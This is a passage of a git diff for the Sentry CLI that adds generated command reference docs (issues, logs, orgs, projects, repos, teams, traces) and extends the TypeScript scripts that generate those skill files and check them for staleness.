errors,tracing` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/issue.md b/plugins/sentry-cli/skills/sentry-cli/references/issue.md new file mode 100644 index 00000000..13dd3f02 --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/issue.md @@ -0,0 +1,201 @@ +# Issue Commands + +Manage Sentry issues + +## `sentry issue list ` + +List issues in a project + +**Flags:** +- `-q, --query - Search query (Sentry search syntax)` +- `-n, --limit - Maximum number of issues to list - (default: "25")` +- `-s, --sort - Sort by: date, new, freq, user - (default: "date")` +- `-t, --period - Time period for issue activity (e.g. 24h, 14d, 90d) - (default: "90d")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor for / or multi-target modes (use "last" to continue)` + +**Examples:** + +```bash +# Explicit org and project +sentry issue list / + +# All projects in an organization +sentry issue list / + +# Search for project across all accessible orgs +sentry issue list + +# Auto-detect from DSN or config +sentry issue list + +# List issues in a specific project +sentry issue list my-org/frontend + +sentry issue list my-org/ + +sentry issue list frontend + +sentry issue list my-org/frontend --query "TypeError" + +sentry issue list my-org/frontend --sort freq --limit 20 + +# Show only unresolved issues +sentry issue list my-org/frontend --query "is:unresolved" + +# Show resolved issues +sentry issue list my-org/frontend --query "is:resolved" + +# Combine with other search terms +sentry issue list my-org/frontend --query "is:unresolved TypeError" +``` + +**Expected output:** + +``` +ID SHORT ID TITLE COUNT USERS +123456789 FRONT-ABC TypeError: Cannot read prop... 1.2k 234 +987654321 FRONT-DEF ReferenceError: x is not de... 456 89 +``` + +## `sentry issue explain ` + +Analyze an issue's root cause using Seer AI + +**Requirements:** + +- Seer AI enabled for your organization +- GitHub integration configured with repository access +- Code mappings set up to link stack frames to source files + +**Flags:** +- `--json - Output as JSON` +- `--force - Force new analysis even if one exists` + +**Examples:** + +```bash +sentry issue explain + +# By numeric issue ID +sentry issue explain 123456789 + +# By short ID with org prefix +sentry issue explain my-org/MYPROJECT-ABC + +# By project-suffix format +sentry issue explain myproject-G + +# Force a fresh analysis +sentry issue explain 123456789 --force +``` + +## `sentry issue plan ` + +Generate a solution plan using Seer AI + +Generate a solution plan for a Sentry issue using Seer AI. + +**Requirements:** + +- Root cause analysis must be completed first (`sentry issue explain`) +- GitHub integration configured for your organization +- Code mappings set up for your project + +**Flags:** +- `--cause - Root cause ID to plan (required if multiple causes exist)` +- `--json - Output as JSON` +- `--force - Force new plan even if one exists` + +**Examples:** + +```bash +sentry issue plan + +# After running explain, create a plan +sentry issue plan 123456789 + +# Specify which root cause to plan for (if multiple were found) +sentry issue plan 123456789 --cause 0 + +# By short ID with org prefix +sentry issue plan my-org/MYPROJECT-ABC --cause 1 + +# By project-suffix format +sentry issue plan myproject-G --cause 0 +``` + +## `sentry issue view ` + +View details of a specific issue + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` +- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` + +**Examples:** + +```bash +# By issue ID +sentry issue view + +# By short ID +sentry issue view + +sentry issue view FRONT-ABC + +sentry issue view FRONT-ABC -w +``` + +**Expected output:** + +``` +Issue: TypeError: Cannot read property 'foo' of undefined +Short ID: FRONT-ABC +Status: unresolved +First seen: 2024-01-15 10:30:00 +Last seen: 2024-01-20 14:22:00 +Events: 1,234 +Users affected: 234 + +Latest event: + Browser: Chrome 120 + OS: Windows 10 + URL: https://example.com/app +``` + +## Shortcuts + +- `sentry issues` → shortcut for `sentry issue list` (accepts the same flags) + +## Workflows + +### Diagnose a production issue +1. Find the issue: `sentry issue list / --query "is:unresolved" --sort freq` +2. View details: `sentry issue view ` +3. Get AI root cause: `sentry issue explain ` +4. Get fix plan: `sentry issue plan ` +5. Open in browser for full context: `sentry issue view -w` + +### Triage recent regressions +1. List new issues: `sentry issue list / --sort new --period 24h` +2. Check frequency: `sentry issue list / --sort freq --limit 5` +3. Investigate top issue: `sentry issue view ` +4. Explain root cause: `sentry issue explain ` + +## Common Queries + +- Unresolved errors: `--query "is:unresolved"` +- Specific error type: `--query "TypeError"` +- By environment: `--query "environment:production"` +- Assigned to me: `--query "assigned:me"` +- Recent issues: `--period 24h` +- Most frequent: `--sort freq --limit 10` +- Combined: `--query "is:unresolved environment:production" --sort freq` + +## JSON Recipes + +- Extract issue titles: `sentry issue list / --json | jq '.[].title'` +- Get issue counts: `sentry issue list / --json | jq '.[].count'` +- List unresolved as CSV: `sentry issue list / --json --query "is:unresolved" | jq -r '.[] | [.shortId, .title, .count] | @csv'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/log.md b/plugins/sentry-cli/skills/sentry-cli/references/log.md new file mode 100644 index 00000000..e4ba1e8e --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/log.md @@ -0,0 +1,175 @@ +# Log Commands + +View Sentry logs + +## `sentry log list ` + +List logs from a project + +**Flags:** +- `-n, --limit - Number of log entries (1-1000) - (default: "100")` +- `-q, --query - Filter query (Sentry search syntax)` +- `-f, --follow - Stream logs (optionally specify poll interval in seconds)` +- `--json - Output as JSON` + +**Examples:** + +```bash +# Auto-detect from DSN or config +sentry log list + +# Explicit org and project +sentry log list / + +# Search for project across all accessible orgs +sentry log list + +# List last 100 logs (default) +sentry log list + +# Stream with default 2-second poll interval +sentry log list -f + +# Stream with custom 5-second poll interval +sentry log list -f 5 + +# Show only error logs +sentry log list -q 'level:error' + +# Filter by message content +sentry log list -q 'database' + +# Show last 50 logs +sentry log list --limit 50 + +# Show last 500 logs +sentry log list -n 500 + +# Stream error logs from a specific project +sentry log list my-org/backend -f -q 'level:error' +``` + +**Expected output:** + +``` +TIMESTAMP LEVEL MESSAGE +2024-01-20 14:22:01 info User login successful +2024-01-20 14:22:03 debug Processing request for /api/users +2024-01-20 14:22:05 error Database connection timeout +2024-01-20 14:22:06 warn Retry attempt 1 of 3 + +Showing 4 logs. +``` + +## `sentry log view ` + +View details of a specific log entry + +In streaming mode with `--json`, each log entry is output as a separate JSON object (newline-delimited JSON), making it suitable for piping to other tools. + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` + +**Examples:** + +```bash +# Auto-detect from DSN or config +sentry log view + +# Explicit org and project +sentry log view / + +# Search for project across all accessible orgs +sentry log view + +sentry log view 968c763c740cfda8b6728f27fb9e9b01 + +sentry log view 968c763c740cfda8b6728f27fb9e9b01 -w + +sentry log view my-org/backend 968c763c740cfda8b6728f27fb9e9b01 + +sentry log list --json | jq '.[] | select(.level == "error")' +``` + +**Expected output:** + +``` +Log 968c763c740c... +════════════════════ + +ID: 968c763c740cfda8b6728f27fb9e9b01 +Timestamp: 2024-01-20 14:22:05 +Severity: ERROR + +Message: + Database connection timeout after 30s + +─── Context ─── + +Project: backend +Environment: production +Release: 1.2.3 + +─── SDK ─── + +SDK: sentry.python 1.40.0 + +─── Trace ─── + +Trace ID: abc123def456abc123def456abc12345 +Span ID: 1234567890abcdef +Link: https://sentry.io/organizations/my-org/explore/traces/abc123... + +─── Source Location ─── + +Function: connect_to_database +File: src/db/connection.py:142 +``` + +## Shortcuts + +- `sentry logs` → shortcut for `sentry log list` (accepts the same flags) + +## Finding Log IDs + +Log IDs can be found: + +1. In the output of `sentry log list` (shown as trace IDs in brackets) +2. In the Sentry UI when viewing log entries +3. In the `sentry.item_id` field of JSON output + +## JSON Output + +Use `--json` for machine-readable output: + +```bash +sentry log list --json | jq '.[] | select(.level == "error")' +``` + +In streaming mode with `--json`, each log entry is output as a separate JSON object (newline-delimited JSON), making it suitable for piping to other tools. + +## Workflows + +### Monitor production logs +1. Stream all logs: `sentry log list -f` +2. Filter to errors only: `sentry log list -f -q 'level:error'` +3. Investigate a specific log: `sentry log view ` + +### Debug a specific issue +1. Filter by message content: `sentry log list -q 'database timeout'` +2. View error details: `sentry log view ` +3. Check related trace: follow the Trace ID from the log view output + +## Common Queries + +- Error logs only: `-q 'level:error'` +- Warning and above: `-q 'level:warning'` +- By message content: `-q 'database'` +- Limit results: `--limit 50` +- Stream with interval: `-f 5` (poll every 5 seconds) + +## JSON Recipes + +- Extract error messages: `sentry log list --json -q 'level:error' | jq '.[].message'` +- Filter by level in JSON: `sentry log list --json | jq '.[] | select(.level == "error")'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/org.md b/plugins/sentry-cli/skills/sentry-cli/references/org.md new file mode 100644 index 00000000..173a29a8 --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/org.md @@ -0,0 +1,66 @@ +# Org Commands + +Work with Sentry organizations + +## `sentry org list` + +List organizations + +List all organizations you have access to. + +**Flags:** +- `-n, --limit - Maximum number of organizations to list - (default: "30")` +- `--json - Output JSON` + +**Examples:** + +```bash +sentry org list + +sentry org list --json +``` + +**Expected output:** + +``` +SLUG NAME ROLE +my-org My Organization owner +another-org Another Org member +``` + +## `sentry org view ` + +View details of an organization + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` + +**Examples:** + +```bash +sentry org view + +sentry org view my-org + +sentry org view my-org -w +``` + +**Expected output:** + +``` +Organization: My Organization +Slug: my-org +Role: owner +Projects: 5 +Teams: 3 +Members: 12 +``` + +## Shortcuts + +- `sentry orgs` → shortcut for `sentry org list` (accepts the same flags) + +## JSON Recipes + +- Get org slugs: `sentry org list --json | jq '.[].slug'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/project.md b/plugins/sentry-cli/skills/sentry-cli/references/project.md new file mode 100644 index 00000000..55348abc --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/project.md @@ -0,0 +1,79 @@ +# Project Commands + +Work with Sentry projects + +## `sentry project list ` + +List projects + +**Flags:** +- `-n, --limit - Maximum number of projects to list - (default: "30")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` +- `-p, --platform - Filter by platform (e.g., javascript, python)` + +**Examples:** + +```bash +# List all projects +sentry project list + +# List projects in a specific organization +sentry project list + +# Filter by platform +sentry project list --platform javascript +``` + +**Expected output:** + +``` +ORG SLUG PLATFORM TEAM +my-org frontend javascript web-team +my-org backend python api-team +my-org mobile-ios cocoa mobile-team +``` + +## `sentry project view ` + +View details of a project + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` + +**Examples:** + +```bash +# Auto-detect from DSN or config +sentry project view + +# Explicit org and project +sentry project view / + +# Find project across all orgs +sentry project view + +sentry project view my-org/frontend + +sentry project view my-org/frontend -w +``` + +**Expected output:** + +``` +Project: frontend +Organization: my-org +Platform: javascript +Team: web-team +DSN: https://abc123@sentry.io/123456 +``` + +## Shortcuts + +- `sentry projects` → shortcut for `sentry project list` (accepts the same flags) + +## JSON Recipes + +- List project slugs: `sentry project list --json | jq '.[].slug'` +- Filter by platform: `sentry project list --platform python --json | jq '.[].name'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/repo.md b/plugins/sentry-cli/skills/sentry-cli/references/repo.md new file mode 100644 index 00000000..2451676a --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/repo.md @@ -0,0 +1,28 @@ +# Repo Commands + +Work with Sentry repositories + +## `sentry repo list ` + +List repositories + +**Flags:** +- `-n, --limit - Maximum number of repositories to list - (default: "30")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` + +## Shortcuts + +- `sentry repos` → shortcut for `sentry repo list` (accepts the same flags) + +## Workflows + +### Check linked repositories +1. List repos: `sentry repo list` +2. Get details as JSON: `sentry repo list --json` +3. Use the API for more details: `sentry api /organizations//repos/` + +## JSON Recipes + +- Get repo names: `sentry repo list --json | jq '.[].name'` +- Get repo providers: `sentry repo list --json | jq '.[] | {name, provider}'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/team.md b/plugins/sentry-cli/skills/sentry-cli/references/team.md new file mode 100644 index 00000000..abcb6658 --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/team.md @@ -0,0 +1,52 @@ +# Team Commands + +Work with Sentry teams + +## `sentry team list ` + +List teams + +**Flags:** +- `-n, --limit - Maximum number of teams to list - (default: "30")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` + +**Examples:** + +```bash +# Auto-detect organization or list all +sentry team list + +# List teams in a specific organization +sentry team list + +# Limit results +sentry team list --limit 10 + +sentry team list --json +``` + +**Expected output:** + +``` +ORG SLUG NAME MEMBERS +my-org backend Backend Team 8 +my-org frontend Frontend Team 5 +my-org mobile Mobile Team 3 +``` + +## Shortcuts + +- `sentry teams` → shortcut for `sentry team list` (accepts the same flags) + +## Workflows + +### Find teams and their projects +1. List teams: `sentry team list` +2. Get team details via API: `sentry api /teams///` +3. List team projects: `sentry api /teams///projects/` + +## JSON Recipes + +- Get team slugs: `sentry team list --json | jq '.[].slug'` +- Count teams: `sentry team list --json | jq 'length'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/trace.md b/plugins/sentry-cli/skills/sentry-cli/references/trace.md new file mode 100644 index 00000000..bd9060ed --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/trace.md @@ -0,0 +1,50 @@ +# Trace Commands + +View distributed traces + +## `sentry trace list ` + +List recent traces in a project + +**Flags:** +- `-n, --limit - Number of traces (1-1000) - (default: "20")` +- `-q, --query - Search query (Sentry search syntax)` +- `-s, --sort - Sort by: date, duration - (default: "date")` +- `--json - Output as JSON` + +## `sentry trace view ` + +View details of a specific trace + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` +- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` + +## `sentry trace logs ` + +View logs associated with a trace + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open trace in browser` +- `-t, --period - Time period to search (e.g., "14d", "7d", "24h"). Default: 14d - (default: "14d")` +- `-n, --limit - Number of log entries (1-1000) - (default: "100")` +- `-q, --query - Additional filter query (Sentry search syntax)` + +## Shortcuts + +- `sentry traces` → shortcut for `sentry trace list` (accepts the same flags) + +## Workflows + +### Investigate slow requests +1. List recent traces: `sentry trace list --sort duration` +2. View slowest trace: `sentry trace view ` +3. Open in browser for waterfall view: `sentry trace view -w` + +## Common Queries + +- Sort by duration: `--sort duration` +- Search traces: `--query "http.method:GET"` +- Limit results: `--limit 50` diff --git a/script/check-skill.ts b/script/check-skill.ts index 413cd081..34aa906c 100644 --- a/script/check-skill.ts +++ b/script/check-skill.ts @@ -1,41 +1,132 @@ #!/usr/bin/env bun /** - * Check SKILL.md for Staleness + * Check Skill Files for Staleness * - * Compares the committed SKILL.md against freshly generated content. + * Compares committed skill files against freshly generated content. + * Checks the index SKILL.md, all reference files, and index.json. * * Usage: * bun run script/check-skill.ts * * Exit codes: - * 0 - SKILL.md is up to date - * 1 - SKILL.md is stale + * 0 - All skill files are up to date + * 1 - One or more skill files are stale */ +import { readdirSync } from "node:fs"; import { $ } from "bun"; -const SKILL_PATH = "plugins/sentry-cli/skills/sentry-cli/SKILL.md"; +const SKILL_DIR = "plugins/sentry-cli/skills/sentry-cli"; +const INDEX_JSON_PATH = "docs/public/.well-known/skills/index.json"; -// Read the current committed file -const committedFile = Bun.file(SKILL_PATH); -const committedContent = (await committedFile.exists()) - ? await committedFile.text() - : ""; +/** + * Recursively collect all files under a directory, returning paths relative to the base. + */ +function collectFiles(dir: string, base = dir): string[] { + const files: string[] = []; + for (const entry of readdirSync(dir, { withFileTypes: true })) { + const fullPath = `${dir}/${entry.name}`; + if (entry.isDirectory()) { + files.push(...collectFiles(fullPath, base)); + } else { + files.push(fullPath.slice(base.length + 1)); + } + } + return files.sort(); +} + +/** + * Read file content, returning empty string if it doesn't exist. + */ +async function readFileContent(path: string): Promise { + const file = Bun.file(path); + return (await file.exists()) ? await file.text() : ""; +} + +// Snapshot committed state +const committedSkillFiles = collectFiles(SKILL_DIR); +const committedContents = new Map(); +for (const relPath of committedSkillFiles) { + committedContents.set( + relPath, + await readFileContent(`${SKILL_DIR}/${relPath}`) + ); +} +const committedIndexJson = await readFileContent(INDEX_JSON_PATH); // Generate fresh content await $`bun run script/generate-skill.ts`.quiet(); -// Read the newly generated content -const newContent = await Bun.file(SKILL_PATH).text(); +// Snapshot generated state +const generatedSkillFiles = collectFiles(SKILL_DIR); +const generatedContents = new Map(); +for (const relPath of generatedSkillFiles) { + generatedContents.set( + relPath, + await readFileContent(`${SKILL_DIR}/${relPath}`) + ); +} +const generatedIndexJson = await readFileContent(INDEX_JSON_PATH); // Compare -if (committedContent === newContent) { - console.log("✓ SKILL.md is up to date"); +const staleFiles: string[] = []; +const missingFiles: string[] = []; +const extraFiles: string[] = []; + +// Check for files that should exist but are missing or stale +for (const relPath of generatedSkillFiles) { + if (!committedContents.has(relPath)) { + missingFiles.push(relPath); + } else if (committedContents.get(relPath) !== generatedContents.get(relPath)) { + staleFiles.push(relPath); + } +} + +// Check for files that exist but shouldn't +for (const relPath of committedSkillFiles) { + if (!generatedContents.has(relPath)) { + extraFiles.push(relPath); + } +} + +// Check index.json +if (committedIndexJson !== generatedIndexJson) { + staleFiles.push("docs/public/.well-known/skills/index.json"); +} + +const hasIssues = + staleFiles.length > 0 || missingFiles.length > 0 || extraFiles.length > 0; + +if (!hasIssues) { + console.log("✓ All skill files are up to date"); process.exit(0); } -// Files differ -console.error("✗ SKILL.md is out of date"); +// Report issues +console.error("✗ Skill files are out of date"); +console.error(""); + +if (staleFiles.length > 0) { + console.error("Stale files:"); + for (const f of staleFiles) { + console.error(` - ${f}`); + } +} + +if (missingFiles.length > 0) { + console.error("Missing files:"); + for (const f of missingFiles) { + console.error(` - ${f}`); + } +} + +if (extraFiles.length > 0) { + console.error("Extra files (should be removed):"); + for (const f of extraFiles) { + console.error(` - ${f}`); + } +} + console.error(""); console.error("Run 'bun run generate:skill' locally and commit the changes."); diff --git a/script/generate-skill.ts b/script/generate-skill.ts index 41707f71..5e4f422d 100644 --- a/script/generate-skill.ts +++ b/script/generate-skill.ts @@ -1,22 +1,43 @@ #!/usr/bin/env bun /** - * Generate SKILL.md from Stricli Command Metadata and Docs + * Generate skill files from Stricli Command Metadata and Docs * * Introspects the CLI's route tree and merges with documentation * to generate structured documentation for AI agents. * + * Produces: + * - SKILL.md (index with command table + links) + * - references/*.md (per-command-group reference files) + * - index.json (file manifest for remote installation) + * * Usage: * bun run script/generate-skill.ts * * Output: - * plugins/sentry-cli/skills/sentry-cli/SKILL.md + * plugins/sentry-cli/skills/sentry-cli/ + * docs/public/.well-known/skills/index.json */ +import { mkdirSync, readdirSync, rmSync } from "node:fs"; import { routes } from "../src/app.js"; -const OUTPUT_PATH = "plugins/sentry-cli/skills/sentry-cli/SKILL.md"; +const OUTPUT_DIR = "plugins/sentry-cli/skills/sentry-cli"; +const REFERENCES_DIR = `${OUTPUT_DIR}/references`; +const INDEX_JSON_PATH = "docs/public/.well-known/skills/index.json"; const DOCS_PATH = "docs/src/content/docs"; +/** Map shortcut commands to their parent reference file */ +const SHORTCUT_TO_PARENT: Record = { + issues: "issue", + orgs: "org", + projects: "project", + repos: "repo", + teams: "team", + logs: "log", + traces: "trace", + whoami: "auth", +}; + /** Regex to match YAML frontmatter at the start of a file */ const FRONTMATTER_REGEX = /^---\n[\s\S]*?\n---\n/; @@ -114,7 +135,8 @@ function stripMdxComponents(markdown: string): string { } /** - * Extract a specific section from markdown by heading + * Extract a specific section from markdown by heading. + * Correctly skips headings inside fenced code blocks. */ function extractSection(markdown: string, heading: string): string | null { // Match heading at any level (##, ###, etc.) @@ -131,18 +153,51 @@ function extractSection(markdown: string, heading: string): string | null { const headingLevel = match[1].length; const startIndex = match.index + match[0].length; - // Find the next heading of same or higher level - const nextHeadingPattern = new RegExp(`^#{1,${headingLevel}}\\s+`, "m"); + // Find the next heading of same or higher level, skipping code blocks const remainingContent = markdown.slice(startIndex); - const nextMatch = remainingContent.match(nextHeadingPattern); + const nextHeadingIndex = findNextHeadingOutsideCode( + remainingContent, + headingLevel + ); - const endIndex = nextMatch?.index - ? startIndex + nextMatch.index - : markdown.length; + const endIndex = + nextHeadingIndex !== -1 + ? startIndex + nextHeadingIndex + : markdown.length; return markdown.slice(startIndex, endIndex).trim(); } +/** + * Find the index of the next markdown heading at or above a given level, + * skipping over fenced code blocks. + * Returns -1 if no such heading is found. + */ +function findNextHeadingOutsideCode( + content: string, + maxLevel: number +): number { + const lines = content.split("\n"); + let inCodeBlock = false; + let offset = 0; + + for (const line of lines) { + // Toggle code fence state + if (line.trimStart().startsWith("```")) { + inCodeBlock = !inCodeBlock; + } else if (!inCodeBlock) { + // Check if this line is a heading at or above the target level + const headingMatch = line.match(/^(#{1,6})\s+/); + if (headingMatch && headingMatch[1].length <= maxLevel) { + return offset; + } + } + offset += line.length + 1; // +1 for newline + } + + return -1; +} + /** * Extract all code blocks from markdown */ @@ -335,18 +390,198 @@ const COMMAND_SECTION_REGEX = /###\s+`(sentry\s+\S+(?:\s+\S+)?)`\s*\n([\s\S]*?)(?=###\s+`|$)/g; /** - * Load examples for a specific command from docs + * Extract prose description from a command section (text between heading and first code block). + * Filters out option/argument tables and metadata headers. */ -async function loadCommandExamples( - commandGroup: string -): Promise> { - const docContent = await loadDoc(`commands/${commandGroup}.md`); - const examples = new Map(); +function extractCommandProse(sectionContent: string): string | null { + const firstCodeBlock = sectionContent.indexOf("```"); + if (firstCodeBlock === -1) { + // No code blocks — the whole section is prose + const prose = sectionContent.trim(); + return prose || null; + } + + const prose = sectionContent.slice(0, firstCodeBlock).trim(); + // Filter out lines that are just table headers, argument descriptions, or metadata + const lines = prose.split("\n"); + const filtered: string[] = []; + let inTable = false; + + for (const line of lines) { + if ( + line.startsWith("|") || + line.startsWith("**Arguments:**") || + line.startsWith("**Options:**") || + line.startsWith("**Option") + ) { + inTable = true; + continue; + } + if (inTable && (line.startsWith("|") || line.trim() === "")) { + if (line.trim() === "") inTable = false; + continue; + } + if (inTable) { + inTable = false; + } + if (line.trim()) { + filtered.push(line); + } + } + + const result = filtered.join("\n").trim(); + return result || null; +} + +/** + * Extract trailing prose from a command section (text after the last code block). + * This captures content like "Requirements:" lists that appear at the end. + * Filters out duplicate option/argument tables. + */ +function extractTrailingProse(sectionContent: string): string | null { + // Find the last code block end + const pattern = new RegExp(CODE_BLOCK_REGEX.source, CODE_BLOCK_REGEX.flags); + let lastEnd = -1; + let match = pattern.exec(sectionContent); + while (match !== null) { + lastEnd = match.index + match[0].length; + match = pattern.exec(sectionContent); + } + + if (lastEnd === -1) return null; + + const trailing = sectionContent.slice(lastEnd).trim(); + if (!trailing || trailing.length <= 20) return null; + + // Filter out option/argument tables and stop at ## headings + // (supplementary sections are handled separately) + const lines = trailing.split("\n"); + const filtered: string[] = []; + let inTable = false; + + for (const line of lines) { + // Stop at ## headings — these are supplementary sections + if (/^##\s+/.test(line)) break; + + // Skip table rows and option/argument headers + if (line.startsWith("|") || line.startsWith("**Arguments:**") || line.startsWith("**Options:**")) { + inTable = true; + continue; + } + if (inTable && (line.startsWith("|") || line.trim() === "")) { + if (line.trim() === "") inTable = false; + continue; + } + if (inTable) { + inTable = false; + } + filtered.push(line); + } + + const result = filtered.join("\n").trim(); + return result && result.length > 20 ? result : null; +} + +/** + * Extract output examples (non-bash code blocks) from a command section. + * These are code blocks without a language or with empty language that show expected output. + */ +function extractOutputExamples(sectionContent: string): string[] { + const blocks: string[] = []; + const pattern = new RegExp(CODE_BLOCK_REGEX.source, CODE_BLOCK_REGEX.flags); + + let match = pattern.exec(sectionContent); + while (match !== null) { + const lang = match[1] || ""; + const code = match[2].trim(); + // Capture blocks that have no language specifier (output examples) + if (lang === "" && code) { + blocks.push(code); + } + match = pattern.exec(sectionContent); + } + + return blocks; +} + +/** + * Extract supplementary sections from a doc file. + * These are top-level sections (## heading) that appear after the command sections, + * like "Finding Event IDs", "Finding Log IDs", "JSON Output", "Release Channels", etc. + * Correctly skips headings inside fenced code blocks. + */ +function extractSupplementarySections( + docContent: string +): { heading: string; content: string }[] { + const sections: { heading: string; content: string }[] = []; + + // Match ## headings that are NOT "Commands", "Usage", "Examples", "Options", "Notes" + const skipHeadings = new Set([ + "Commands", + "Usage", + "Examples", + "Options", + "Notes", + "API Documentation", + "Configuration", + ]); + + // Find ## headings outside of code blocks + const headings: { heading: string; index: number }[] = []; + const lines = docContent.split("\n"); + let inCodeBlock = false; + let offset = 0; + + for (const line of lines) { + if (line.trimStart().startsWith("```")) { + inCodeBlock = !inCodeBlock; + } else if (!inCodeBlock) { + const headingMatch = line.match(/^##\s+(.+)$/); + if (headingMatch) { + headings.push({ heading: headingMatch[1].trim(), index: offset }); + } + } + offset += line.length + 1; + } + + for (let i = 0; i < headings.length; i++) { + const { heading, index } = headings[i]; + if (skipHeadings.has(heading)) { + continue; + } + // Also skip command-level headings + if (heading.startsWith("`sentry")) { + continue; + } + + const startIndex = index + docContent.slice(index).indexOf("\n") + 1; + const endIndex = + i + 1 < headings.length ? headings[i + 1].index : docContent.length; + const content = docContent.slice(startIndex, endIndex).trim(); - if (!docContent) { - return examples; + if (content) { + sections.push({ heading, content }); + } } + return sections; +} + +type DocExamples = { + examples: Map; + prose: Map; + outputExamples: Map; + supplementary: { heading: string; content: string }[]; +}; + +/** + * Parse command sections from doc content, extracting examples, prose, and output examples. + */ +function parseDocContent(docContent: string): DocExamples { + const examples = new Map(); + const prose = new Map(); + const outputExamples = new Map(); + // Find all command sections (### `sentry ...`) const commandPattern = new RegExp( COMMAND_SECTION_REGEX.source, @@ -366,10 +601,152 @@ async function loadCommandExamples( codeBlocks.map((b) => b.code) ); } + + // Extract prose description (before first code block + after last code block) + const leadingProse = extractCommandProse(sectionContent); + const trailingProse = extractTrailingProse(sectionContent); + const combinedProse = [leadingProse, trailingProse] + .filter(Boolean) + .join("\n\n"); + if (combinedProse) { + prose.set(commandPath, combinedProse); + } + + // Extract output examples + const outputs = extractOutputExamples(sectionContent); + if (outputs.length > 0) { + outputExamples.set(commandPath, outputs); + } + match = commandPattern.exec(docContent); } - return examples; + // Extract supplementary sections + const supplementary = extractSupplementarySections(docContent); + + return { examples, prose, outputExamples, supplementary }; +} + +/** + * Load and parse docs for a specific command group. + * Handles both single-file (commands/auth.md) and subdirectory (commands/cli/*.md) layouts. + */ +async function loadCommandDocs(commandGroup: string): Promise { + const result: DocExamples = { + examples: new Map(), + prose: new Map(), + outputExamples: new Map(), + supplementary: [], + }; + + // Try loading single doc file (e.g., commands/auth.md) + const docContent = await loadDoc(`commands/${commandGroup}.md`); + + if (docContent) { + const parsed = parseDocContent(docContent); + for (const [k, v] of parsed.examples) result.examples.set(k, v); + for (const [k, v] of parsed.prose) result.prose.set(k, v); + for (const [k, v] of parsed.outputExamples) + result.outputExamples.set(k, v); + result.supplementary.push(...parsed.supplementary); + + // For docs that use flat ## Usage / ## Examples sections (not ### `sentry ...`) + // e.g., init.md — extract examples for the top-level command + const commandPath = `sentry ${commandGroup}`; + if (!result.examples.has(commandPath)) { + // Prefer ## Examples over ## Usage for richer content + for (const sectionName of ["Examples", "Usage"]) { + const section = extractSection(docContent, sectionName); + if (section) { + const codeBlocks = extractCodeBlocks(section, "bash"); + if (codeBlocks.length > 0) { + result.examples.set( + commandPath, + codeBlocks.map((b) => b.code) + ); + break; + } + } + } + } + } + + // Try loading from subdirectory (e.g., commands/cli/feedback.md, commands/cli/upgrade.md) + const subDirPath = `${DOCS_PATH}/commands/${commandGroup}`; + try { + const entries = readdirSync(subDirPath, { withFileTypes: true }); + for (const entry of entries) { + if ( + !entry.isFile() || + !entry.name.endsWith(".md") || + entry.name === "index.md" + ) { + continue; + } + + const subDocContent = await loadDoc( + `commands/${commandGroup}/${entry.name}` + ); + if (!subDocContent) continue; + + // For subdirectory docs, command sections use ### `sentry cli upgrade` etc. + const parsed = parseDocContent(subDocContent); + for (const [k, v] of parsed.examples) result.examples.set(k, v); + for (const [k, v] of parsed.prose) result.prose.set(k, v); + for (const [k, v] of parsed.outputExamples) + result.outputExamples.set(k, v); + result.supplementary.push(...parsed.supplementary); + + // Also try to extract examples from ## Usage and ## Examples sections + // (for docs that don't use ### `sentry ...` headings) + const subcommandName = entry.name.replace(".md", ""); + const commandPath = `sentry ${commandGroup} ${subcommandName}`; + + if (!result.examples.has(commandPath)) { + // Prefer ## Examples over ## Usage for richer content + for (const sectionName of ["Examples", "Usage"]) { + const section = extractSection(subDocContent, sectionName); + if (section) { + const codeBlocks = extractCodeBlocks(section, "bash"); + if (codeBlocks.length > 0) { + result.examples.set( + commandPath, + codeBlocks.map((b) => b.code) + ); + break; + } + } + } + } + + // Extract output examples from ## Examples section too + const examplesSection = extractSection(subDocContent, "Examples"); + if (examplesSection) { + const outputs = extractOutputExamples(examplesSection); + if (outputs.length > 0 && !result.outputExamples.has(commandPath)) { + result.outputExamples.set(commandPath, outputs); + } + } + + // Extract supplementary sections from subdocs + const subSections = extractSupplementarySections(subDocContent); + result.supplementary.push(...subSections); + } + } catch { + // Subdirectory doesn't exist — that's fine + } + + return result; +} + +/** + * Load examples for a specific command from docs (backward-compatible wrapper) + */ +async function loadCommandExamples( + commandGroup: string +): Promise> { + const docs = await loadCommandDocs(commandGroup); + return docs.examples; } /** @@ -414,6 +791,8 @@ type CommandInfo = { positional: string; aliases: Record; examples: string[]; + description?: string; + outputExamples: string[]; }; type FlagInfo = { @@ -429,6 +808,7 @@ type RouteInfo = { name: string; brief: string; commands: CommandInfo[]; + supplementary: { heading: string; content: string }[]; }; /** @@ -477,7 +857,11 @@ function extractFlags(flags: Record | undefined): FlagInfo[] { function buildCommandInfo( cmd: Command, path: string, - examples: string[] = [] + extras: { + examples?: string[]; + description?: string; + outputExamples?: string[]; + } = {} ): CommandInfo { return { path, @@ -486,7 +870,9 @@ function buildCommandInfo( flags: extractFlags(cmd.parameters.flags), positional: 